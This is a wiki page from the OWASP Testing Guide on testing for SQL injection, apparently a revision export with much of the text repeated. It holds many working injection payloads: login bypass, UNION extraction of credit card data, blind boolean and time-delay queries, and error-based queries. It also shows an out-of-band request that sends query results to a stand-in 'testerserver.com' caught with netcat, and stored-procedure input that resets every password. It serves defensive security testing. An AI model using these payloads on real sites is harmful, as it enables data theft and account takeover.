information the tester need to exploit the SQL injection vulnerability using<br />
such technique is to find the right numbers of columns in the SELECT statement.<br />
<br />
<br />
In order to<br />
achieve it the tester can use ORDER BY clause followed by a number indicating<br />
the numeration of database’s column selected:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10 ORDER BY 10--</pre><br />
<br />
<br />
If the query executes with success the tester will see<br />
the tester can assume, in this example, there are 10 or more columns in the<br />
SELECT statement. If the query fails and there is an error message available<br />
probably it would be:<br />
<br />
<br />
<pre>Unknown column '10' in 'order clause'</pre><br />
<br />
<br />
After the tester find out the numbers of columns, the<br />
next step is to find out the type of columns. Assuming there were 3 columns in<br />
the example above, the tester could try each column type, using the NULL value<br />
to help them:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null, null--</pre><br />
<br />
<br />
If the query fails, probably the tester will see a<br />
message like:<br />
<br />
<pre>All cells in a column must have the same datatype</pre><br />
<br />
If the query executes with success, the first column<br />
can be an integer. Then the tester can move further and so on:<br />
<br />
<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre><br />
<br />
After the success exploitation, depending on the<br />
application, it will show to the tester only the first result, because the<br />
application treats only the first line of the result. In this case, it is<br />
possible to use LIMIT like clause or the tester can set an invalid value,<br />
making only the second line valid (supposing there is no entry in the database<br />
which ID is 99999):<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre><br />
<br />
<br />
=== Boolean Exploitation technique ===<br />
<br />
The Boolean exploitation technique is very useful when<br />
the tester find a [[Blind SQL Injection]] situation, in<br />
which nothing is known on the outcome of an operation. For example, this<br />
behavior happens in cases where the programmer has created a custom error page<br />
that does not reveal anything on the structure of the query or on the database.<br />
(The page does not return a SQL error, it may just<br />
return a HTTP 500). <br><br />
By using the inference methods, it is possible to avoid this obstacle and thus<br />
to succeed to recover the values of some desired fields. This method consists<br />
of carrying out a series of boolean<br />
queries to the server, observing the answers and finally deducing the meaning<br />
of such answers. We consider, as always, the www.example.com domain and we<br />
suppose that it contains a parameter named id vulnerable to SQL injection. This<br />
means that carrying out the following request:<br />
<br />
<br />
<pre>http://www.example.com/index.php?id=1'</pre><br />
<br />
we will get one page with a custom message error which<br />
is due to a syntactic error in the query. We suppose that the query executed on<br />
the server is:<br />
<br />
<br />
<pre>SELECT field1, field2, field3 FROM Users WHERE Id='$Id' <br />
</pre><br />
<br />
which is exploitable through the methods seen previously.<br />
What we want to obtain is the values of the username field. The tests that we<br />
will execute will allow us to obtain the value of the username field,<br />
extracting such value character by character. This is possible through the use<br />
of some standard functions, present practically in every database. For our<br />
examples, we will use the following pseudo-functions:<br />
<br />
<br />
'''SUBSTRING (text, start, length)''': it returns a<br />
substring starting from the position &quot;start&quot; of text and of length<br />
&quot;length&quot;. If &quot;start&quot; is greater than the length of text,<br />
the function returns a null value.<br />
<br />
<br />
'''ASCII (char)''': it gives back ASCII value of the input character. A<br />
null value is returned if char is 0.<br />
<br />
<br />
'''LENGTH (text)''': it gives back the length in characters of the input<br />
text.<br />
<br />
<br />
Through such functions, we will execute our tests on<br />
the first character and, when we have discovered the value, we will pass to the<br />
second and so on, until we will have discovered the entire value. The tests<br />
will take advantage of the function SUBSTRING, in order to select only one<br />
character at a time (selecting a single character means to impose the length<br />
parameter to 1), and the function ASCII, in order to obtain the ASCII value, so<br />
that we can do numerical comparison. The results of the comparison will be done<br />
with all the values of the ASCII table, until the right value is found. As an<br />
example, we will use the following value for ''Id'':<br />
<br />
<br />
<pre>$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 <br />
</pre><br />
<br />
that creates the following query (from now on, we will<br />
call it &quot;inferential query&quot;):<br />
<br />
<br />
<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'<br />
</pre><br />
<br />
The previous example returns a result if and only if<br />
the first character of the field username is equal to the ASCII value 97. If we<br />
get a false value, then we increase the index of the ASCII table from 97 to 98<br />
and we repeat the request. If instead we obtain a true value, we set to zero<br />
the index of the ASCII table and we analyze the next character, modifying the<br />
parameters of the SUBSTRING function. The problem is to understand in which way<br />
we can distinguish tests returning a true value from those that return false.<br />
To do this, we create a query that always returns false. This is possible by<br />
using the following value for ''Id'':<br />
<br />
<br />
<pre>$Id=1' AND '1' = '2 <br />
</pre><br />
<br />
by which will create the following query:<br />
<br />
<br />
<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' <br />
</pre><br />
<br />
The obtained response from the server (that is HTML<br />
code) will be the false value for our tests. This is enough to verify whether<br />
the value obtained from the execution of the inferential query is equal to the<br />
value obtained with the test executed before. Sometimes, this method does not<br />
work. If the server returns two different pages as a result of two identical<br />
consecutive web requests, we will not be able to discriminate the true value<br />
from the false value. In these particular cases, it is necessary to use<br />
particular filters that allow us to eliminate the code that changes between the<br />
two requests and to obtain a template. Later on, for every inferential request<br />
executed, we will extract the relative template from the response using the<br />
same function, and we will perform a control between the two templates in order<br />
to decide the result of the test.<br />
<br />
<br />
In the previous discussion, we haven't dealt with the<br />
problem of determining the termination condition for out tests, i.e., when we<br />
should end the inference procedure. A techniques to do<br />
this uses one characteristic of the SUBSTRING function and the LENGTH function.<br />
When the test compares the current character with the ASCII code 0 (i.e., the<br />
value null) and the test returns the value true, then either we are done with<br />
the inference procedue (we have scanned the whole<br />
string), or the value we have analyzed contains the null character.<br />
<br />
<br />
We will insert the following value for the field ''Id'':<br />
<br />
<br />
<pre>$Id=1' AND LENGTH(username)=N AND '1' = '1 <br />
</pre><br />
<br />
Where N is the number of characters that we have<br />
analyzed up to now (not counting the null value). The query will be:<br />
<br />
<br />
<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' <br />
</pre><br />
<br />
The query returns either true or false. If we obtain<br />
true, then we have completed inference and, therefore, we know the value of the<br />
parameter. If we obtain false, this means that the null character is present in<br />
the value of the parameter, and we must continue to analyze the next parameter<br />
until we find another null value.<br />
<br />
<br />
The blind SQL injection attack needs a high volume of<br />
queries. The tester may need an automatic tool to exploit the vulnerability.<br />
<br />
<br />
=== Error based Exploitation technique ===<br />
<br />
The Error based<br />
exploitation technique is useful when the tester for some reason can’t exploit<br />
the SQL injection vulnerability using other technique such as UNION. The Error<br />
based technique consists in forcing the database to perform some operation in<br />
which the result will be an error. The point here is to try to extract some<br />
data from the database and show it in the error message. This exploitation<br />
technique can be different from DBMS to DBMS (check DBMS specific session).<br />
<br />
<br />
Consider the following SQL query:<br />
<br />
<br />
<pre>SELECT * FROM products WHERE id_product=$id_product</pre><br />
<br />
<br />
Consider also the request to a script who executes the<br />
query above:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10</pre><br />
<br />
<br />
The malicious request would be (e.g. Oracle 10g):<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--</pre><br />
<br />
<br />
In this<br />
example, the tester is concatenating the value 10 with the result of the<br />
function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the<br />
hostname of the parameter passed to it, which is other query, the name of the<br />
user. When the database looks for a hostname with the user database name, it<br />
will fail and return an error message like:<br />
<br />
<br />
<pre>ORA-292257: host SCOTT unknown</pre><br />
<br />
<br />
Then the tester<br />
can manipulate the parameter passed to GET_HOST_NAME()<br />
function and the result will be shown in the error message.<br />
<br />
<br />
=== Out of band Exploitation technique ===<br />
<br />
This technique<br />
is very useful when the tester find a [[Blind SQL Injection]] situation, in<br />
which nothing is known on the outcome of an operation. The technique consists in<br />
the use of DBMS functions to perform an out of band connection and deliver the<br />
results of the injected query as part of the request to the tester’s server.<br />
<br />
<br />
Like the error<br />
based techniques, each DBMS has its own functions. Check for specific DBMS<br />
section.<br />
<br />
<br />
Consider the following SQL query:<br />
<br />
<br />
<pre>SELECT * FROM products WHERE id_product=$id_product</pre><br />
<br />
<br />
Consider also the request to a script who executes the<br />
query above:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10</pre><br />
<br />
<br />
The malicious request would be:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--</pre><br />
<br />
<br />
In this<br />
example, the tester is concatenating the value 10 with the result of the<br />
function UTL_HTTP.request. This Oracle function will<br />
try to connect to ‘testerserver’ and make a HTTP GET<br />
request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver<br />
(e.g. Apache) or use the Netcat tool:<br />
<br />
<br />
/home/tester/nc –nLp 80<br />
<br />
GET /SCOTT HTTP/1.1<br />
Host: testerserver.com<br />
Connection: close<br />
<br />
<br />
=== Time delay Exploitation technique ===<br />
<br />
The Boolean<br />
exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in<br />
which nothing is known on the outcome of an operation. This technique consists<br />
in sending an injected query and in case the conditional is true, the tester<br />
can monitor the time taken to for the server to respond. If there is a delay,<br />
the tester can assume the result of the conditional query is true. This<br />
exploitation technique can be different from DBMS to DBMS (check DBMS specific<br />
session)<br />
<br />
<br />
Consider the following SQL query:<br />
<br />
<br />
<pre>SELECT * FROM products WHERE id_product=$id_product</pre><br />
<br />
<br />
Consider also the request to a script who executes the<br />
query above:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10</pre><br />
<br />
<br />
The malicious request would be (e.g. MySql 5.x):<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--</pre><br />
<br />
<br />
In this example<br />
the tester if checking whether the MySql version is<br />
5.x or not, making the server to delay the answer in 5 seconds. The tester can<br />
increase the delay’s time and monitor the responses. The tester also doesn’t<br />
need to wait for the response. Sometimes he can set a very high value (e.g.<br />
100) and cancel the request after some seconds.<br />
<br />
<br />
=== Stored Procedure Injection ===<br />
<br />
When using dynamic SQL within a stored procedure, the application must<br />
properly sanitize the user input to eliminate the risk of code injection. If<br />
not sanitized, the user could enter malicious SQL that will be executed within<br />
the stored procedure.<br />
<br />
<br />
Consider the following '''SQL Server Stored Procedure:'''<br />
<br />
<br />
Create<br />
procedure user_login @username varchar(20), @passwd varchar(20) As<br />
<br />
<br />
Declare @sqlstring varchar(250)<br />
<br />
<br />
Set @sqlstring = ‘<br />
<br />
<br />
Select 1<br />
from users<br />
<br />
<br />
Where<br />
username = ‘ + @username + ‘ and passwd<br />
= ‘ + @passwd<br />
<br />
<br />
exec(@sqlstring)<br />
Go<br />
User input:<br />
anyusername or 1=1'<br />
anypassword<br />
<br />
<br />
This procedure does not sanitize the input, therefore allowing the<br />
return value to show an existing record with these<br />
parameters.<br> <br><br />
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a<br />
user, but consider a dynamic reporting query where the user selects the columns<br />
to view. The user could insert malicious code into this scenario and compromise<br />
the data. <br><br />
Consider the following '''SQL Server Stored Procedure:'''<br />
<br />
<br />
Create<br />
procedure get_report @columnamelist varchar(7900)<br />
As<br />
Declare @sqlstring varchar(8000)<br />
Set @sqlstring = ‘<br />
Select ‘ + @columnamelist + ‘ from ReportTable‘<br />
exec(@sqlstring)<br />
Go<br />
<br />
User input:<br />
<br />
<br />
1 from<br />
users; update users set password = 'password'; select *<br />
<br />
<br />
This will result in the report running and all users’ passwords being<br />
updated.<br />
<br />
<br />
=== Automated Exploitation ===<br />
<br />
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:<br />
<br />
https://www.owasp.org/index.php/Automated_Audit_using_SQLMap<br />
<br />
<br />
== Related Articles ==<br />
<br />
* [[Top 10 2013-A1-Injection]]<br />
* [[SQL Injection]]<br />
<br />
<br />
Technology specific Testing Guide pages have been created for the following DBMSs:<br />
<br />
* [[Testing for Oracle| Oracle]]<br />
* [[Testing for MySQL| MySQL]]<br />
* [[Testing for SQL Server | SQL Server]]<br />
<br />
== References ==<br />
<br />
'''Whitepapers'''<br><br />
<br />
* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt<br />
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf<br />
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf<br />
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf<br />
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369<br />
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/<br />
* Kevin Spett from SPI Dynamics: "SQL Injection" - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit<br />
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf<br />
<br />
'''Tools'''<br><br />
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt<br />
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]<br />
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]<br><br />
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]<br><br />
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/<br />
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]<br />
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]<br />
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/<br />
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]<br><br />
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&diff=157894Testing for SQL Injection (OTG-INPVAL-005)2013-09-04T22:01:27Z<p>Ryan Dewhurst: Updated "SQL Injection Fuzz Strings (from wfuzz tool)" link</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
==Brief Summary ==<br />
<br />
<br />
A [[SQL injection]] attack consists of insertion or &quot;injection&quot; of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.<br />
<br />
==Description of the Issue ==<br />
<br />
<br />
In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:<br />
<br />
<pre>select title, text from news where id=$id</pre><br />
<br />
In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.<br />
<br />
Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.<br />
<br />
<pre>select title, text from news where id=10 or 1=1</pre><br />
<br />
SQL Injection attacks can be divided into the following three classes:<br />
<br />
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.<br />
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).<br />
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.<br />
<br />
A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. <br />
<br />
About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):<br />
<br />
* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.<br />
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.<br />
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.<br />
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).<br />
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.<br />
<br />
==SQL Injection Detection ==<br />
<br />
<br />
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:<br />
<br />
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).<br />
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.<br />
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.<br />
<br />
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies. <br />
<br />
The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):<br />
<br />
<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'<br />
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the <br />
character string ''.<br />
/target/target.asp, line 113</pre><br />
<br />
Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:<br />
<br />
<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'<br />
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the<br />
varchar value 'test' to a column of data type int.<br />
/target/target.asp, line 113<br />
</pre><br />
<br />
Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.<br />
<br />
=== Standard SQL Injection Testing ===<br />
<br />
<br />
Example 1 (classical SQL Injection):<br />
<br />
Consider the following SQL query:<br />
<br />
<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre><br />
<br />
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:<br />
<br />
<pre>$username = 1' or '1' = '1</pre><br />
<br />
<pre>$password = 1' or '1' = '1</pre><br />
<br />
The query will be:<br />
<br />
<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre><br />
<br />
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:<br />
<br />
<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;password=1'%20or%20'1'%20=%20'1 </pre><br />
<br />
After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.<br> ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:<br />
<br />
<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) </pre><br />
<br />
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is &quot;--&quot;. This said, the values that we'll use as Username and Password are:<br />
<br />
<pre>$username = 1' or '1' = '1'))/*</pre><br />
<br />
<pre>$password = foo</pre><br />
<br />
In this way, we'll get the following query:<br />
<br />
<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) </pre><br />
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)<br />
<br />
The URL request will be:<br />
<br />
<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;password=foo </pre><br />
<br />
This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go<br />
around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator &quot;LIMIT &lt;num&gt;&quot;, where &lt;num&gt; is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:<br />
<br />
<pre>$username = 1' or '1' = '1')) LIMIT 1/* </pre><br />
<br />
<pre>$password = foo </pre><br />
<br />
In this way, we create a request like the follow:<br />
<br />
<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;password=foo </pre><br />
<br />
<br />
Example 2 (simple SELECT statement):<br />
<br />
<br />
Consider the following SQL query:<br />
<br />
<br />
<pre>SELECT * FROM products WHERE id_product=$id_product</pre><br />
<br />
<br />
Consider also the request to a script who executes the query above:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10</pre><br />
<br />
<br />
When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.<br />
<br />
<br />
Consider the request:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10 AND 1=2</pre><br />
<br />
<br />
<pre>SELECT * FROM products WHERE id_product=10 AND 1=2</pre><br />
<br />
<br />
In this case, probably the application would return some message telling us there is no content available or a blank page. Then<br />
the tester can send a true statement and check if there is a valid result:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10 AND 1=1</pre><br />
<br />
<br />
Example 3 (Stacked queries):<br />
<br />
<br />
Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.<br />
<br />
<br />
Consider the following SQL query:<br />
<br />
<br />
<pre>SELECT * FROM products WHERE id_product=$id_product</pre><br />
<br />
<br />
A way to exploit the above scenario would be:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10; INSERT INTO users (…)</pre><br />
<br />
<br />
This way is possible to execute many queries in a row and independent of the first query.<br />
<br />
<br />
=== Fingerprinting the Database ===<br />
<br />
Even the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.<br />
<br />
<br />
When the testers move to a more advanced SQL injection exploitation they need to know the backend.<br />
<br />
<br />
1) The first way to find out which is the backend is by observing the error returned by the application. Follow are some examples:<br />
<br />
<br />
MySql:<br />
<br />
<pre>You have an error in your SQL syntax; check the manual<br />
that corresponds to your MySQL server version for the<br />
right syntax to use near '\'' at line 1</pre><br />
<br />
<br />
Oracle:<br />
<br />
<pre>ORA-00933: SQL command not properly ended</pre><br />
<br />
<br />
MS SQL Server:<br />
<br />
<pre>Microsoft SQL Native Client error ‘80040e14’<br />
Unclosed quotation mark after the character string</pre><br />
<br />
<br />
PostgreSQL:<br />
<br />
<pre>Query failed: ERROR: syntax error at or near<br />
&quot;’&quot; at character 56 in /www/site/test.php on line 121.</pre><br />
<br />
<br />
2) If there is no error message or a custom error message,<br />
the tester can try to inject into string field using concatenation technique:<br />
<br />
<br />
MySql: ‘test’ + ‘ing’<br />
<br />
SQL Server: ‘test’ ‘ing’<br />
<br />
Oracle: ‘test’||’ing’<br />
<br />
PostgreSQL: ‘test’||’ing’<br />
<br />
==Exploitation techniques ==<br />
<br />
=== Union Exploitation technique ===<br />
<br />
The UNION operator is used<br />
in SQL injections to join a query, purposely forged by the tester, to the<br />
original query. The result of the forged query will be joined to the result of<br />
the original query, allowing the tester to obtain the values of fields of other<br />
tables. We suppose for our examples that the query executed from the server is<br />
the following:<br />
<br />
<br />
SELECT<br />
Name, Phone, Address FROM Users WHERE Id=$id<br />
<br />
<br />
We will set the following<br />
Id value:<br />
<br />
<br />
$id=1<br />
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable<br />
<br />
<br />
We will have the following<br />
query:<br />
<br />
<br />
SELECT<br />
Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable<br />
<br />
<br />
which will join the result of the original query<br />
with all the credit card users. The keyword '''ALL''' is necessary to get<br />
around queries that use the keyword DISTINCT. Moreover, we notice that beyond<br />
the credit card numbers, we have selected other two values. These two values<br />
are necessary, because the two query must have an<br />
equal number of parameters, in order to avoid a syntax error.<br />
<br />
<br />
The first<br />
information the tester need to exploit the SQL injection vulnerability using<br />
such technique is to find the right numbers of columns in the SELECT statement.<br />
<br />
<br />
In order to<br />
achieve it the tester can use ORDER BY clause followed by a number indicating<br />
the numeration of database’s column selected:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10 ORDER BY 10--</pre><br />
<br />
<br />
If the query executes with success the tester will see<br />
the tester can assume, in this example, there are 10 or more columns in the<br />
SELECT statement. If the query fails and there is an error message available<br />
probably it would be:<br />
<br />
<br />
<pre>Unknown column '10' in 'order clause'</pre><br />
<br />
<br />
After the tester find out the numbers of columns, the<br />
next step is to find out the type of columns. Assuming there were 3 columns in<br />
the example above, the tester could try each column type, using the NULL value<br />
to help them:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null, null--</pre><br />
<br />
<br />
If the query fails, probably the tester will see a<br />
message like:<br />
<br />
<pre>All cells in a column must have the same datatype</pre><br />
<br />
If the query executes with success, the first column<br />
can be an integer. Then the tester can move further and so on:<br />
<br />
<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre><br />
<br />
After the success exploitation, depending on the<br />
application, it will show to the tester only the first result, because the<br />
application treats only the first line of the result. In this case, it is<br />
possible to use LIMIT like clause or the tester can set an invalid value,<br />
making only the second line valid (supposing there is no entry in the database<br />
which ID is 99999):<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre><br />
<br />
<br />
=== Boolean Exploitation technique ===<br />
<br />
The Boolean exploitation technique is very useful when<br />
the tester find a [[Blind SQL Injection]] situation, in<br />
which nothing is known on the outcome of an operation. For example, this<br />
behavior happens in cases where the programmer has created a custom error page<br />
that does not reveal anything on the structure of the query or on the database.<br />
(The page does not return a SQL error, it may just<br />
return a HTTP 500). <br><br />
By using the inference methods, it is possible to avoid this obstacle and thus<br />
to succeed to recover the values of some desired fields. This method consists<br />
of carrying out a series of boolean<br />
queries to the server, observing the answers and finally deducing the meaning<br />
of such answers. We consider, as always, the www.example.com domain and we<br />
suppose that it contains a parameter named id vulnerable to SQL injection. This<br />
means that carrying out the following request:<br />
<br />
<br />
<pre>http://www.example.com/index.php?id=1'</pre><br />
<br />
we will get one page with a custom message error which<br />
is due to a syntactic error in the query. We suppose that the query executed on<br />
the server is:<br />
<br />
<br />
<pre>SELECT field1, field2, field3 FROM Users WHERE Id='$Id' <br />
</pre><br />
<br />
which is exploitable through the methods seen previously.<br />
What we want to obtain is the values of the username field. The tests that we<br />
will execute will allow us to obtain the value of the username field,<br />
extracting such value character by character. This is possible through the use<br />
of some standard functions, present practically in every database. For our<br />
examples, we will use the following pseudo-functions:<br />
<br />
<br />
'''SUBSTRING (text, start, length)''': it returns a<br />
substring starting from the position &quot;start&quot; of text and of length<br />
&quot;length&quot;. If &quot;start&quot; is greater than the length of text,<br />
the function returns a null value.<br />
<br />
<br />
'''ASCII (char)''': it gives back ASCII value of the input character. A<br />
null value is returned if char is 0.<br />
<br />
<br />
'''LENGTH (text)''': it gives back the length in characters of the input<br />
text.<br />
<br />
<br />
Through such functions, we will execute our tests on<br />
the first character and, when we have discovered the value, we will pass to the<br />
second and so on, until we will have discovered the entire value. The tests<br />
will take advantage of the function SUBSTRING, in order to select only one<br />
character at a time (selecting a single character means to impose the length<br />
parameter to 1), and the function ASCII, in order to obtain the ASCII value, so<br />
that we can do numerical comparison. The results of the comparison will be done<br />
with all the values of the ASCII table, until the right value is found. As an<br />
example, we will use the following value for ''Id'':<br />
<br />
<br />
<pre>$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 <br />
</pre><br />
<br />
that creates the following query (from now on, we will<br />
call it &quot;inferential query&quot;):<br />
<br />
<br />
<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'<br />
</pre><br />
<br />
The previous example returns a result if and only if<br />
the first character of the field username is equal to the ASCII value 97. If we<br />
get a false value, then we increase the index of the ASCII table from 97 to 98<br />
and we repeat the request. If instead we obtain a true value, we set to zero<br />
the index of the ASCII table and we analyze the next character, modifying the<br />
parameters of the SUBSTRING function. The problem is to understand in which way<br />
we can distinguish tests returning a true value from those that return false.<br />
